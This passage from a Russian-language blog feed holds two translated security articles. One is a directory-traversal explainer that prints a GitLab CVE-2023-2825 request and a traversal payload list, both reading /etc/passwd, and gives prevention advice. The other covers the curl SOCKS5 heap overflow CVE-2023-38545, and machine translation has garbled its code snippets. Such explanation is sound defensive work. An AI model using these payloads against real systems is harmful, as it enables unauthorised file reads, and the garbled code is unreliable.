  &lt;p id=&quot;1IBH&quot;&gt;Хотя это может показаться безобидным, поскольку это всего лишь сохранение фотографии, существуют способы дальнейшего использования. Если тип файла не проверен (например, JPEG, PNG), злоумышленник может загрузить файл любого типа, что приводит к нескольким различным сценариям использования. Некоторые возможные примеры эксплуатации в этом сценарии:&lt;/p&gt;
  &lt;ul id=&quot;tBwn&quot;&gt;
    &lt;li id=&quot;riJp&quot;&gt;Добавление открытого ключа злоумышленника в файл авторизованных_ключей пользователя (например, /root/.ssh/authorized_keys) для получения постоянного доступа.&lt;/li&gt;
    &lt;li id=&quot;FcKN&quot;&gt;Перезапись файлов приложения для изменения поведения приложения.&lt;/li&gt;
    &lt;li id=&quot;XbTe&quot;&gt;Загрузка веб-оболочки в корневой каталог веб-сайта&lt;/li&gt;
    &lt;li id=&quot;daJN&quot;&gt;Вызов отказа в обслуживании путем перезаписи необходимых системных файлов.&lt;/li&gt;
    &lt;li id=&quot;g214&quot;&gt;Загрузка исполняемых файлов (например, вредоносных программ, программ-вымогателей)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;fzua&quot;&gt;В зависимости от уровня доступа приложения влияние произвольной записи файла при обходе каталога может быть разрушительным.&lt;/p&gt;
  &lt;h2 id=&quot;directory-traversal-in-the-wild&quot;&gt;Обход каталогов в дикой природе&lt;/h2&gt;
  &lt;h3 id=&quot;cve-2023-2825-directory-traversal-in-gitlab&quot;&gt;CVE-2023-2825: обход каталогов в Gitlab&lt;/h3&gt;
  &lt;p id=&quot;ZOfh&quot;&gt;В Gitlab версии 16.0.0 существует уязвимость обхода каталогов, которая позволяет читать произвольные файлы. Загрузка файла в качестве вложения к задаче в установке Gitlab по умолчанию приводит к тому, что Gitlab сохраняет файл в 10 каталогах в глубину по шаблону, как показано ниже:&lt;/p&gt;
  &lt;pre id=&quot;X0jX&quot;&gt;/var/opt/gitlab/gitlab-rails/uploads/@hashed/&amp;lt;directory&amp;gt;/&amp;lt;directory&amp;gt;/&amp;lt;directory&amp;gt;/&amp;lt;directory&amp;gt;/&amp;lt;filename&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;EL4z&quot;&gt;После загрузки Gitlab также предоставляет конечную точку для получения загруженного файла по адресу.&lt;/p&gt;
  &lt;pre id=&quot;jiIZ&quot;&gt;/&amp;lt;repo-name&amp;gt;/uploads/&amp;lt;file-id&amp;gt;/&amp;lt;filename&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;Uvt3&quot;&gt;В запросе к этой конечной точке Gitlab не очищает и не проверяет параметр имени файла, что допускает атаку с обходом каталога. Чтобы воспользоваться обходом, репозиторий должен быть вложен как минимум в 5 групп, при этом количество групп напрямую зависит от количества каталогов, которые вы можете пройти, используя уязвимость.&lt;/p&gt;
  &lt;p id=&quot;J3iC&quot;&gt;При стандартной установке это означает, что вам необходимо разбить репозиторий на 11 групп, чтобы иметь возможность добраться до корня файловой системы. В этом сценарии полезная нагрузка атаки для получения файла /etc/passwd может выглядеть следующим образом:&lt;/p&gt;
  &lt;pre id=&quot;z64S&quot;&gt;GET /Group-1/Group-2/Group-3/Group-4/Group-5/Group-6/Group-7/Group-8/Group-9/Group-10/Group-11/&amp;lt;repo-name&amp;gt;/uploads/&amp;lt;file id&amp;gt;/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&lt;/pre&gt;
  &lt;p id=&quot;jVQe&quot;&gt;Злоумышленники, не прошедшие проверку подлинности, могут воспользоваться уязвимостью только в том случае, если общедоступный репозиторий соответствует требованию вложенных групп. Это маловероятно, что повышает вероятность того, что эксплуатация будет исходить от аутентифицированного пользователя с привилегиями на создание вложенных групп и репозиториев для удовлетворения требований эксплуатации. Полная цепочка эксплойтов может сначала создать необходимые группы и репозиторий, загрузить файл, а затем использовать обход для чтения произвольных файлов, как показано в &lt;a href=&quot;https://github.com/Occamsec/CVE-2023-2825&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;PoC здесь&lt;/u&gt;&lt;/a&gt; .&lt;/p&gt;
  &lt;h3 id=&quot;cve-2022-48362-directory-traversal-in-manageengine-desktop-central&quot;&gt;CVE-2022-48362: обход каталогов в ManageEngine Desktop Central.&lt;/h3&gt;
  &lt;p id=&quot;BMem&quot;&gt;В сборках ManageEngine Desktop Central до версии &lt;code&gt;10.1.2127.1&lt;/code&gt;, обход каталога в функции загрузки файлов позволял производить произвольную запись файлов путем манипулирования параметром «имя_компьютера» (или несколькими другими) для включения последовательностей обхода.&lt;/p&gt;
  &lt;p id=&quot;2KV0&quot;&gt;&lt;a href=&quot;https://www.ic3.gov/Media/News/2021/211220.pdf&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;На момент обнаружения&lt;/u&gt;&lt;/a&gt; эта уязвимость активно эксплуатировалась и сочеталась с обходом аутентификации (CVE-2021-44515) для обеспечения возможности удаленного выполнения кода. Для краткости мы сосредоточимся только на части атаки, связанной с обходом каталога, поскольку она позволяет записывать файлы и обходит свободную проверку.&lt;/p&gt;
  &lt;p id=&quot;GxtJ&quot;&gt;В функции с именем «doPost» Desktop Central обрабатывает несколько параметров в рамках загрузки файла этой функцией, включая «имя компьютера», «имя файла» и другие параметры. Есть две проблемы, которые приводят к успешному обходу каталога, обеспечивающему запись файлов:&lt;/p&gt;
  &lt;ol id=&quot;9TkO&quot;&gt;
    &lt;li id=&quot;K3Ca&quot;&gt;Для последовательностей обхода проверяется только параметр имени файла. Другие параметры, такие как «domainName», «computerName» или «customerId», используются для построения абсолютного пути к файлу, но не проверяются на предмет последовательностей обхода. «Имя_компьютера» — это последний параметр, используемый в объединенной строке, поэтому это идеальное место для ввода последовательности обхода.&lt;/li&gt;
    &lt;li id=&quot;dAYo&quot;&gt;Загрузка файлов позволяет использовать файлы с расширениями zip, 7z и gz. На первый взгляд, возможно, это кажется безопасным. Однако поскольку Desktop Central является приложением Java, а файлы JAR созданы в формате zip, это позволяет удаленно выполнять код. Загрузив zip-файл в &lt;code&gt;C:\Program Files\DesktopCentral_Server\lib&lt;/code&gt;каталог и принудительно перезапустив его, опытный злоумышленник может перезаписать файлы классов в приложении, включив в него свой собственный код и добиться выполнения кода.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;t44F&quot;&gt;Эта уязвимость подчеркивает серьезное воздействие, которое может оказать уязвимость обхода, а также показывает, как неполное предотвращение все же может сделать возможным обход каталога.&lt;/p&gt;
  &lt;h3 id=&quot;directory-traversal-as-seen-by-wafs&quot;&gt;Обход каталога с точки зрения WAF&lt;/h3&gt;
  &lt;p id=&quot;5LrU&quot;&gt;Обход каталогов — один из наиболее часто наблюдаемых методов атак, который мы описали в нашем &lt;a href=&quot;https://www.fastly.com/resources/white-papers/security/fastly-network-effect-threat-report&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;отчете об угрозах сетевого эффекта&lt;/u&gt;&lt;/a&gt; за второй квартал 2023 года.&lt;/p&gt;
  &lt;p id=&quot;Hpx8&quot;&gt;Это может быть по нескольким причинам, включая серьезность воздействия в случае успеха или размер списков полезной нагрузки, которые могут использовать злоумышленники и сканеры. Например, фрагмент из одного из &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/Intruder/directory_traversal.txt&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;списков обхода каталога PayloadsAllTheThings&lt;/u&gt;&lt;/a&gt; пытается прочитать один и тот же файл с различной глубиной обхода, как показано ниже:&lt;/p&gt;
  &lt;pre id=&quot;1T2c&quot;&gt;../../../../../../../../../etc/passwd../../../../../../../../etc/passwd../../../../../../../etc/passwd../../../../../../etc/passwd../../../../../etc/passwd../../../../etc/passwd../../../etc/passwd&lt;/pre&gt;
  &lt;p id=&quot;v9FF&quot;&gt;В большинстве случаев злоумышленник, скорее всего, не знает, где находится приложение в файловой системе при тестировании на обходную уязвимость. Приложение не выйдет за пределы корня операционной системы (т. е. /), поэтому можно использовать более длинные последовательности «../», чтобы убедиться, что корень достигнут. Однако могут существовать и другие ограничения, например, длина входных данных, из-за которых более короткие последовательности могут быть полезны для тестирования, а также в случае, если более длинные последовательности блокируются или нарушают функциональность приложения.&lt;/p&gt;
  &lt;p id=&quot;X8DQ&quot;&gt;Другие типы атак, такие как межсайтовый скриптинг (XSS), могут использовать полиглоты полезной нагрузки, которые объединяют несколько методов в одну полезную нагрузку. Это приводит к тому, что злоумышленники и сканеры отправляют гораздо больше полезных данных для проверки на обход, чем при тестировании на XSS. Наш файл примера из PayloadsAllTheThings содержит 140 полезных данных по сравнению с их &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/Intruders/XSS_Polyglots.txt&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;файлом XSS_Polyglots&lt;/u&gt;&lt;/a&gt; , в котором их 16. Самый большой файл полезных данных для обхода в PayloadsAllTheThings содержит более &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/Intruder/dotdotpwn.txt&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;21 000 записей&lt;/u&gt;&lt;/a&gt; , по сравнению с &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/Intruders/xss_alert.txt&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;самым большим для XSS - более 600&lt;/u&gt;&lt;/a&gt; , &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Intruder/Generic_UnionSelect.txt&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;SQLi - более 400&lt;/u&gt;&lt;/a&gt; (хотя следует предположить, что на практике это будет больше, если тип базы данных неизвестен, поскольку потребуется протестировать несколько типов), и более &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/Intruder/command_exec.txt&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;400 для внедрения команд ОС&lt;/u&gt;&lt;/a&gt; .&lt;/p&gt;
  &lt;p id=&quot;GG0O&quot;&gt;Однако сама по себе серьезность воздействия делает обход каталогов ценной целью для злоумышленников, как показано в приведенном выше обсуждении CVE-2022-48362, который обеспечивал удаленное выполнение кода и, как было известно, использовался на момент обнаружения.&lt;/p&gt;
  &lt;h2 id=&quot;preventing-directory-traversal-vulnerabilities&quot;&gt;Предотвращение уязвимостей обхода каталогов&lt;/h2&gt;
  &lt;p id=&quot;WJ8L&quot;&gt;Существует несколько стратегий, которые можно использовать для предотвращения уязвимостей обхода, включая изменения конструкции для предотвращения построения путей к файлам на основе пользовательского ввода, строгую проверку ввода, использование канонизации пути и ограничение доступа к приложениям. Мы рассмотрим каждый из них ниже.&lt;/p&gt;
  &lt;p id=&quot;gpAB&quot;&gt;&lt;strong&gt;Запретить создание путей к файлам с помощью пользовательского ввода&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;AMvu&quot;&gt;Вместо того чтобы использовать пользовательский ввод для построения пути к файлу, рассмотрите возможность использования соответствующего идентификатора или имени файла для ссылки на файл. Затем сопоставьте идентификаторы файлов с соответствующим путем хранения. Когда пользователь запрашивает этот файл или загружает его, он может контролировать только его идентификатор, не позволяя пользователю когда-либо получить доступ к содержимому, используемому для построения пути к файлу. Это полностью исключает возможность обхода, поскольку ввод пользователя больше не используется для построения пути к полученному файлу.&lt;/p&gt;
  &lt;p id=&quot;uRJW&quot;&gt;&lt;strong&gt;Строгая проверка ввода пользователя&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;6zJT&quot;&gt;Строгая проверка отличается от санитарной обработки. Вместо того, чтобы пытаться удалить последовательности обхода (например, ../), которые можно обойти бесчисленными способами, убедитесь, что в вводимые пользователем данные входит только ожидаемый контент, и отклоните все, что не проходит строгую проверку. Примеры проверки, которые могут помочь предотвратить обход каталогов:&lt;/p&gt;
  &lt;ul id=&quot;nbED&quot;&gt;
    &lt;li id=&quot;ipuv&quot;&gt;Проверка имени файла содержит только буквенно-цифровые значения.&lt;/li&gt;
    &lt;li id=&quot;G1gn&quot;&gt;Проверка только одного файла . символ находится в указанном имени файла&lt;/li&gt;
    &lt;li id=&quot;tEMx&quot;&gt;Проверка нежелательных символов не включена в предоставленный ввод (например, /, \)&lt;/li&gt;
    &lt;li id=&quot;YU3K&quot;&gt;Проверка типа загруженного файла (не по расширению, которое можно легко обойти)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;mj13&quot;&gt;&lt;strong&gt;Используйте функции языка канонизации путей для строгой проверки.&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;yrUo&quot;&gt;Канонизация пути по существу сокращает путь к файлу до его фактического пути, эффективно удаляя символические ссылки, последовательности ../ и другой символический контент. Получив канонический путь, вы можете убедиться, что он по-прежнему начинается с ожидаемого базового каталога (например, uploads/photos/). Некоторые примеры функций для получения канонического пути:&lt;/p&gt;
  &lt;ul id=&quot;GpIl&quot;&gt;
    &lt;li id=&quot;BRlb&quot;&gt;Java: getCanonicalPath&lt;/li&gt;
    &lt;li id=&quot;X1SU&quot;&gt;PHP: реальный путь&lt;/li&gt;
    &lt;li id=&quot;mNBL&quot;&gt;C: реальный путь&lt;/li&gt;
    &lt;li id=&quot;QydY&quot;&gt;ASP.NET: GetFullPath&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;QgrY&quot;&gt;&lt;strong&gt;Ограничить доступ к приложению&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;PU5m&quot;&gt;Как правило, приложение должно иметь доступ только к файлам и каталогам, доступ к которым ему необходим для правильной работы. В некоторых случаях обхода каталогов это помогает, ограничивая влияние уязвимости в случае ее обнаружения. Например, веб-приложение никогда не должно запускаться от имени пользователя root, а в идеале оно должно быть ограничено доступом только к тем файлам, которые необходимы для обслуживания приложения.&lt;/p&gt;
  &lt;h2 id=&quot;references-and-further-reading&quot;&gt;Ссылки и дополнительная литература&lt;/h2&gt;
  &lt;ul id=&quot;n9tx&quot;&gt;
    &lt;li id=&quot;XsCY&quot;&gt;Дальнейшее чтение:&lt;/li&gt;
    &lt;ul id=&quot;4QQh&quot;&gt;
      &lt;li id=&quot;7sHf&quot;&gt;CWE-22&lt;/li&gt;
      &lt;ul id=&quot;wfY3&quot;&gt;
        &lt;li id=&quot;EO4z&quot;&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;https://cwe.mitre.org/data/definitions/22.html&lt;/u&gt;&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;
      &lt;li id=&quot;v3Q7&quot;&gt;Академия веб-безопасности Портсвиггера&lt;/li&gt;
      &lt;ul id=&quot;pO9H&quot;&gt;
        &lt;li id=&quot;WGK6&quot;&gt;&lt;a href=&quot;https://portswigger.net/web-security/file-path-traversal&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;https://portswigger.net/web-security/file-path-traversal&lt;/u&gt;&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;6736&quot;&gt;Примеры:&lt;/li&gt;
    &lt;ul id=&quot;wn1S&quot;&gt;
      &lt;li id=&quot;YYQk&quot;&gt;CVE-2023-2825&lt;/li&gt;
      &lt;ul id=&quot;pBGa&quot;&gt;
        &lt;li id=&quot;xdnE&quot;&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-2825&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-2825&lt;/u&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li id=&quot;1tGY&quot;&gt;&lt;a href=&quot;https://github.com/Occamsec/CVE-2023-2825&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;https://github.com/Occamsec/CVE-2023-2825&lt;/u&gt;&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;
      &lt;li id=&quot;rqrT&quot;&gt;CVE-2022-48362 (и CVE-2021-44515)&lt;/li&gt;
      &lt;ul id=&quot;4Lbk&quot;&gt;
        &lt;li id=&quot;C4Au&quot;&gt;&lt;a href=&quot;https://www.ic3.gov/Media/News/2021/211220.pdf&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;https://www.ic3.gov/Media/News/2021/211220.pdf&lt;/u&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li id=&quot;Lwv9&quot;&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2022-48362&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;https://nvd.nist.gov/vuln/detail/CVE-2022-48362&lt;/u&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li id=&quot;rDhg&quot;&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-44515&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-44515&lt;/u&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li id=&quot;Wzqb&quot;&gt;&lt;a href=&quot;https://attackerkb.com/topics/rJw4DFI2RQ/cve-2021-44515/rapid7-analysis&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;https://attackerkb.com/topics/rJw4DFI2RQ/cve-2021-44515/rapid7-analysis&lt;/u&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li id=&quot;8wYB&quot;&gt;&lt;a href=&quot;https://srcincite.io/blog/2022/01/20/zohowned-a-critical-authentication-bypass-on-zoho-manageengine-desktop-central.html&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;https://srcincite.io/blog/2022/01/20/zohowned-a-critical-authentication-bypass-on-zoho-manageengine-desktop-central.html&lt;/u&gt;&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;
      &lt;li id=&quot;b4ed&quot;&gt;Полезные нагрузкиAllTheThings&lt;/li&gt;
      &lt;ul id=&quot;1X28&quot;&gt;
        &lt;li id=&quot;3SMp&quot;&gt;&lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;https://github.com/swisskyrepo/PayloadsAllTheThings&lt;/u&gt;&lt;/a&gt;&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/ul&gt;
  &lt;/ul&gt;

</content></entry><entry><id>papioss:JoPjnd_OEgE</id><link rel="alternate" type="text/html" href="https://teletype.in/@papioss/JoPjnd_OEgE?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=papioss"></link><title>КАК Я СДЕЛАЛ ПЕРЕПОЛНЕНИЕ КУЧИ В CURL</title><published>2023-10-11T11:05:17.337Z</published><updated>2023-10-11T11:05:17.337Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/17/33/17331d14-1c68-4283-b477-2551dabe637b.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://daniel.haxx.se/blog/wp-content/uploads/2023/10/dilbert-minivan.png&quot;&gt;В связи с выпуском Curl 8.4.0 мы публикуем рекомендации по безопасности и все подробности об CVE-2023-38545 . Эта проблема является самой серьезной проблемой безопасности, обнаруженной в Curl за долгое время. Мы установили уровень серьезности HIGH .</summary><content type="html">
  &lt;p id=&quot;OzzV&quot;&gt;В связи с выпуском &lt;a href=&quot;https://daniel.haxx.se/blog/2023/10/11/curl-8-4-0/&quot; target=&quot;_blank&quot;&gt;Curl 8.4.0&lt;/a&gt; мы публикуем рекомендации по безопасности и все подробности об &lt;a href=&quot;https://curl.se/docs/CVE-2023-38545.html&quot; target=&quot;_blank&quot;&gt;CVE-2023-38545&lt;/a&gt; . Эта проблема является самой серьезной проблемой безопасности, обнаруженной в Curl за долгое время. Мы установили уровень серьезности &lt;strong&gt;HIGH&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;Niev&quot;&gt;При этом рекомендация содержит все необходимые подробности. Я решил использовать несколько дополнительных слов и расширить объяснения для всех, кто хочет понять, как работает этот недостаток и как он произошел.&lt;/p&gt;
  &lt;h2 id=&quot;JuoM&quot;&gt;Фон&lt;/h2&gt;
  &lt;p id=&quot;8tQt&quot;&gt;Curl поддерживает &lt;a href=&quot;https://en.wikipedia.org/wiki/SOCKS&quot; target=&quot;_blank&quot;&gt;SOCKS5&lt;/a&gt; с &lt;a href=&quot;https://github.com/curl/curl/commit/8aa3f143035ad982acb6e596a8653ac41a7860cc&quot; target=&quot;_blank&quot;&gt;августа 2002 года&lt;/a&gt; .&lt;/p&gt;
  &lt;p id=&quot;zBcX&quot;&gt;SOCKS5 — это прокси-протокол. Это достаточно простой протокол настройки сетевого взаимодействия через выделенного «посредника». Например, этот протокол обычно используется при настройке связи через Tor, а также для доступа в Интернет изнутри организаций и компаний.&lt;/p&gt;
  &lt;p id=&quot;81m4&quot;&gt;SOCKS5 имеет два разных режима разрешения имен хостов. Либо клиент разрешает имя хоста &lt;em&gt;локально&lt;/em&gt; и передает пункт назначения в качестве разрешенного адреса, либо клиент передает все имя хоста прокси-серверу и позволяет самому прокси разрешить хост &lt;em&gt;удаленно&lt;/em&gt; .&lt;/p&gt;
  &lt;p id=&quot;w4L5&quot;&gt;В начале 2020 года я решил себе старую, давнюю проблему с Curl: преобразовать функцию, подключающуюся к прокси-серверу SOCKS5, из блокирующего вызова в неблокирующий конечный автомат. Это, например, очень заметно, когда приложение выполняет большое количество параллельных передач, которые выполняются через SOCKS5.&lt;/p&gt;
  &lt;p id=&quot;p7ID&quot;&gt;14 февраля 2020 года я выполнил &lt;a href=&quot;https://github.com/curl/curl/commit/4a4b63daaa&quot; target=&quot;_blank&quot;&gt;основной коммит для этого&lt;/a&gt; изменения в мастере. Он был выпущен в версии 7.69.0 как первый выпуск с этим улучшением. И, как следствие, также первый выпуск, уязвимый для CVE-2023-38545.&lt;/p&gt;
  &lt;h2 id=&quot;OaTg&quot;&gt;Менее разумное решение&lt;/h2&gt;
  &lt;p id=&quot;O9n8&quot;&gt;Конечный автомат вызывается повторно, когда есть дополнительные сетевые данные, над которыми нужно работать, пока это не будет завершено: когда соединение установлено.&lt;/p&gt;
  &lt;p id=&quot;uIlu&quot;&gt;В верхней части функции я сделал &lt;a href=&quot;https://github.com/curl/curl/blob/d1b0317f9b3e4535fd9006b1faab41cbfa912753/lib/socks.c#L573&quot; target=&quot;_blank&quot;&gt;это&lt;/a&gt; :&lt;/p&gt;
  &lt;pre id=&quot;nHqo&quot;&gt;boolss5_resolve_local =
  (тип прокси == CURLPROXY_SOCKS5) ? ИСТИНА: ЛОЖЬ;&lt;/pre&gt;
  &lt;p id=&quot;mCIt&quot;&gt;Эта логическая переменная содержит информацию о том, должен ли Curl разрешить хост или просто передать имя прокси. Это назначение выполняется сверху и, следовательно, для каждого вызова во время работы конечного автомата.&lt;/p&gt;
  &lt;p id=&quot;mHc9&quot;&gt;Конечный автомат запускается в состоянии INIT, в котором и кроется &lt;a href=&quot;https://github.com/curl/curl/blob/d1b0317f9b3e4535fd9006b1faab41cbfa912753/lib/socks.c#L589-L593&quot; target=&quot;_blank&quot;&gt;основной баг&lt;/a&gt; сегодняшнего сюжетного времени. Ошибка унаследована от функции, существовавшей до того, как она была превращена в конечный автомат.&lt;/p&gt;
  &lt;pre id=&quot;n3zh&quot;&gt;if(!socks5_resolve_local &amp;amp;&amp;amp; имя_хоста_len &amp;gt; 255) {
  Socks5_resolve_local = ИСТИНА;
}&lt;/pre&gt;
  &lt;p id=&quot;4cnK&quot;&gt;SOCKS5 допускает длину поля имени хоста до 255 байт, что означает, что прокси-сервер SOCKS5 не может разрешить более длинное имя хоста. При обнаружении слишком длинного имени хоста. код Curl принимает неправильное решение вместо этого переключиться в режим локального разрешения. Для этой цели локальная переменная устанавливается в значение TRUE. (Это условие является остатком кода, добавленного давным-давно. Я думаю, что было совершенно неправильно переключать режим таким образом, поскольку пользователь, запросивший удаленное разрешение, Curl должен придерживаться этого или потерпеть неудачу. Простое переключение вряд ли сработает, даже в «хороших» ситуациях.)&lt;/p&gt;
  &lt;p id=&quot;J8vd&quot;&gt;Затем конечный автомат переключает состояние и продолжает работу.&lt;/p&gt;
  &lt;h2 id=&quot;GIEV&quot;&gt;Проблема вызывает&lt;/h2&gt;
  &lt;p id=&quot;ynYg&quot;&gt;Если конечный автомат не может продолжить работу, поскольку у него больше нет данных для работы, например, если сервер SOCKS5 недостаточно быстр, он возвращается. Он вызывается снова, когда есть доступные данные для продолжения работы. Мгновение спустя.&lt;/p&gt;
  &lt;p id=&quot;gclm&quot;&gt;Но теперь еще раз взгляните на локальную переменную &lt;strong&gt;socks5_resolve_local&lt;/strong&gt; в верхней части функции. Ему снова присваивается значение в зависимости от режима прокси — &lt;em&gt;измененное значение не запоминается из-за слишком длинного имени хоста&lt;/em&gt; . Теперь он снова содержит значение, говорящее, что прокси-сервер должен разрешить имя удаленно. Но имя слишком длинное…&lt;/p&gt;
  &lt;p id=&quot;hg9R&quot;&gt;Curl создает кадр протокола в буфере памяти и копирует место назначения в этот буфер. Поскольку код ошибочно считает, что он должен передать имя хоста, даже если имя хоста слишком длинное, копия памяти может переполнить выделенный целевой буфер. Конечно, в зависимости от длины имени хоста и размера целевого буфера.&lt;/p&gt;
  &lt;h2 id=&quot;qT15&quot;&gt;Целевой буфер&lt;/h2&gt;
  &lt;p id=&quot;c3iE&quot;&gt;Выделенная область памяти, которую Curl использует для построения кадра протокола для отправки на прокси, такая же, как и обычный буфер загрузки. Он просто повторно используется для этой цели перед началом передачи. По умолчанию размер буфера загрузки составляет 16 КБ, но по запросу приложения его также можно установить на другой размер. Инструмент Curl устанавливает размер буфера равным 100 КБ. Минимальный допустимый размер — 1024 байта.&lt;/p&gt;
  &lt;p id=&quot;eP2r&quot;&gt;Если размер буфера установлен меньше 65541 байт, такое переполнение возможно. Чем меньше размер, тем больше возможное переполнение.&lt;/p&gt;
  &lt;h2 id=&quot;urOV&quot;&gt;Длина имени хоста&lt;/h2&gt;
  &lt;p id=&quot;224o&quot;&gt;Имя хоста в URL-адресе не имеет ограничения по реальному размеру, но анализатор URL-адресов libcurl отказывается принимать имена длиной более 65535 байт. DNS принимает только имена хостов длиной до 253 байт. Таким образом, законное имя длиной более 253 байтов является необычным. Настоящее имя длиной более 1024 практически не встречается.&lt;/p&gt;
  &lt;p id=&quot;bD47&quot;&gt;Таким образом, чтобы вызвать эту ошибку, злоумышленнику необходимо ввести в это уравнение сверхдлинное имя хоста. Чтобы использовать его в атаке. Имя должно быть длиннее целевого буфера, чтобы копия памяти перезаписывала память кучи.&lt;/p&gt;
  &lt;h2 id=&quot;lb11&quot;&gt;Содержание имени хоста&lt;/h2&gt;
  &lt;p id=&quot;4MYG&quot;&gt;Поле имени хоста URL-адреса может содержать только подмножество октетов. Диапазон значений байтов просто недействителен и может привести к тому, что анализатор URL-адресов отклонит его. Если libcurl создан для использования библиотеки IDN, она также может отклонять недопустимые имена хостов. Таким образом, эта ошибка может возникнуть только в том случае, если в имени хоста используется правильный набор байтов.&lt;/p&gt;
  &lt;h2 id=&quot;cbrS&quot;&gt;Атака&lt;/h2&gt;
  &lt;p id=&quot;AeB8&quot;&gt;Злоумышленник, контролирующий HTTPS-сервер, к которому libcurl с помощью клиента обращается через прокси-сервер SOCKS5 (используя режим прокси-резольвера), может заставить его вернуть созданное перенаправление приложению через ответ HTTP 30x.&lt;/p&gt;
  &lt;p id=&quot;NK3s&quot;&gt;Такое 30-кратное перенаправление будет содержать заголовок Location: в стиле:&lt;/p&gt;
  &lt;pre id=&quot;uEOI&quot;&gt;Местоположение: https://ааааааааааааааааааааааааааа/&lt;/pre&gt;
  &lt;p id=&quot;2VpA&quot;&gt;… где имя хоста длиннее 16 КБ и до 64 КБ&lt;/p&gt;
  &lt;p id=&quot;Jdtj&quot;&gt;Если в клиенте, использующем libcurl, включено автоматическое отслеживание перенаправления, а прокси-сервер SOCKS5 «достаточно медленный», чтобы вызвать ошибку локальной переменной, он скопирует созданное имя хоста в слишком маленький выделенный буфер и в соседнюю кучу памяти.&lt;/p&gt;
  &lt;p id=&quot;psqE&quot;&gt;Затем произошло переполнение буфера кучи.&lt;/p&gt;
  &lt;h2 id=&quot;4Keo&quot;&gt;Исправление&lt;/h2&gt;
  &lt;p id=&quot;861m&quot;&gt;Curl &lt;em&gt;не&lt;/em&gt; должен переключать режим с удаленного разрешения на локальное из-за слишком длинного имени хоста. Скорее он должен возвращать ошибку, и, начиная с версии Curl 8.4.0, так оно и есть.&lt;/p&gt;
  &lt;p id=&quot;zJpV&quot;&gt;Теперь у нас также есть специальный тестовый пример для этого сценария.&lt;/p&gt;
  &lt;h2 id=&quot;0y20&quot;&gt;Кредиты&lt;/h2&gt;
  &lt;p id=&quot;ma5D&quot;&gt;Об этой проблеме сообщил, проанализировал и исправил Джей Сатиро.&lt;/p&gt;
  &lt;p id=&quot;VtRa&quot;&gt;Это самая большая награда за ошибки в Curl, выплаченная на сегодняшний день: &lt;strong&gt;4660 долларов США&lt;/strong&gt; (плюс 1165 долларов США проекту Curl, согласно &lt;a href=&quot;https://hackerone.com/ibb?type=team&quot; target=&quot;_blank&quot;&gt;политике IBB&lt;/a&gt; ).&lt;/p&gt;
  &lt;figure id=&quot;0Ex8&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://daniel.haxx.se/blog/wp-content/uploads/2023/10/dilbert-minivan.png&quot; width=&quot;1200&quot; /&gt;
    &lt;figcaption&gt;Классический родственный стриптиз Дилберта. Исходный URL-адрес, похоже, больше не доступен.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;DDsj&quot;&gt;Переписать?&lt;/h2&gt;
